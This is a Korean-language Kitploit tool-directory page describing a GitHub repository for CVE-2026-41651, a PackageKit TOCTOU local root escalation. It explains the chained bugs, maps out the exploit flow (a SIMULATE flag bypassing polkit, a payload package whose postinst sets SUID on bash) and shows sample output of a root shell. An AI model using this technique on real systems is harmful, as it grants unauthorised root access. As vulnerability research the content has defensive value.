Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-41651 — CVE-2026-41651 전용 리포지토리로, 이 단일 보안 이슈에 대한 취약점 관련 정보와 분석을 포함합니다. | Kitploit
도구/GitHubGitHub/zerodayevil/cve-2026-41651
Vulnerability AnalysisExploitationPapers & Research
GitHubzerodayevil/cve-2026-41651

CVE-2026-41651

CVE-2026-41651 전용 리포지토리로, 이 단일 보안 이슈에 대한 취약점 관련 정보와 분석을 포함합니다.

저장소 보기
24175일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🛡️ AI 보안 도구 모듈
CVE-2026-41651: PackageKit TOCTOU 로컬 권한 상승 (Pack2TheRoot)

AI 보안 도구 생태계를 위한 공식 보안 감사 및 익스플로잇 모듈


Latest Release Build Status Donations Telegram Channel License

🌐 웹 데모 • 📚 프로젝트 웹사이트 • 💬 커뮤니티 채팅

웹사이트 내비게이션: 홈 • 업데이트 • 다운로드 • 모듈

AI Security Tool Banner


🧠 개념 개요

이 모듈은 PackageKit의 트랜잭션 핸들러(packagekitd)에 존재하는 심각한 TOCTOU(Time-of-Check to Time-of-Use) 경쟁 조건인 CVE-2026-41651(Pack2TheRoot)에 대한 진단 도구와 심층 기술 분석을 제공합니다.

이 취약점을 통해 모든 로컬 비권한 사용자는 권한 부여 검사를 우회하고 인증 없이 root 권한으로 임의의 패키지를 설치할 수 있습니다.

Platform Language CVSS Status

📊 취약점 사양

사양 할당된 값 비고
CVE 식별자 CVE-2026-41651 PackageKit TOCTOU 로컬 권한 상승
구성 요소 PackageKit 데몬 (packagekitd) 핵심 트랜잭션 핸들러
영향받는 버전 1.0.2 – 1.3.4 패치되지 않은 데몬 릴리스
수정된 버전 1.3.5 트랜잭션 핸들러에 상태 가드 추가됨
영향 및 벡터 로컬 권한 상승 → root 인증 또는 사용자 상호작용 불필요
테스트된 플랫폼 Ubuntu 24.04, Debian 12 표준 시스템 구성

demo 시연

poc

🔬 취약점 기술 세부 사항

src/pk-transaction.c의 세 가지 서로 다른 버그가 연쇄적으로 작용하여 권한 부여와 실행 사이에 TOCTOU 윈도우를 생성합니다:

  • 버그 1 — 무조건적인 플래그 덮어쓰기 (4036행): InstallFiles()가 상태 확인 없이 cached_transaction_flags와 cached_full_paths를 무조건 덮어씁니다.
  • 버그 2 — 조용한 상태 전환 거부 (876–881행): pk_transaction_set_state()가 플래그가 덮어쓰인 상태에서 역방향 전환을 조용히 무시합니다.
  • 버그 3 — 늦은 플래그 읽기 (2273–2277행): pk_transaction_run()이 권한 부여 시점이 아닌 GLib idle의 디스패치 시점에 캐시된 플래그를 읽습니다.
  • 보너스 — SIMULATE가 polkit을 우회함 (2893–2900행): PK_TRANSACTION_FLAG_SIMULATE(비트 2, 값 0x4)를 설정하면 polkit 검사를 완전히 건너뜁니다.

🕸 익스플로잇 흐름 아키텍처

Attacker                         packagekitd
    │                                   │
    │ CreateTransaction()               │
    │─────────────────────────────────►│ state = NEW
    │◄─────────────────────────────────│
    │                                   │
    │ InstallFiles(SIMULATE, dummy)     │
    │─────────────────────────────────►│ SIMULATE → polkit skipped
    │◄─────────────────────────────────│ state = READY
    │                                   │ g_idle_add(run_idle_cb) ← queued
    │                                   │
    │ InstallFiles(NONE, payload)       │ [BUG 1] flags + paths overwritten
    │─────────────────────────────────►│ [BUG 2] set_state(WAITING_FOR_AUTH)
    │◄─────────────────────────────────│   → silently rejected
    │                                   │   state stays READY
    │                                   │
    │                                   │ [idle fires]
    │                                   │ pk_transaction_run()
    │                                   │ [BUG 3] reads NONE + payload
    │                                   │ → dpkg installs payload as root
    │                                   │ → postinst: chmod +s /bin/bash
    │                                   │
    │ execv("/tmp/.suid_bash -p")       │
    │─────────────────────────────────►│
    │ euid=0(root)                      │

두 InstallFiles 호출은 클라이언트의 메인 루프가 반복되기 전에 fire-and-forget 방식의 비동기 D-Bus 호출로 전송됩니다. Polkitd는 결국 두 번째 호출에 대해 NOT_AUTHORIZED를 반환하지만, 그 시점에는 이미 APT가 설치를 디스패치한 후입니다.

🛠 모듈 빌드 및 실행 요구 사항

sudo apt install libglib2.0-dev make

다른 의존성은 없습니다 — .deb 패키지는 런타임에 순수 C로 빌드됩니다.

출력 예시:

═══════════════════════════════════════════════════
 CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy   : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload)   [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max tabular)...
[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
도구 다운로드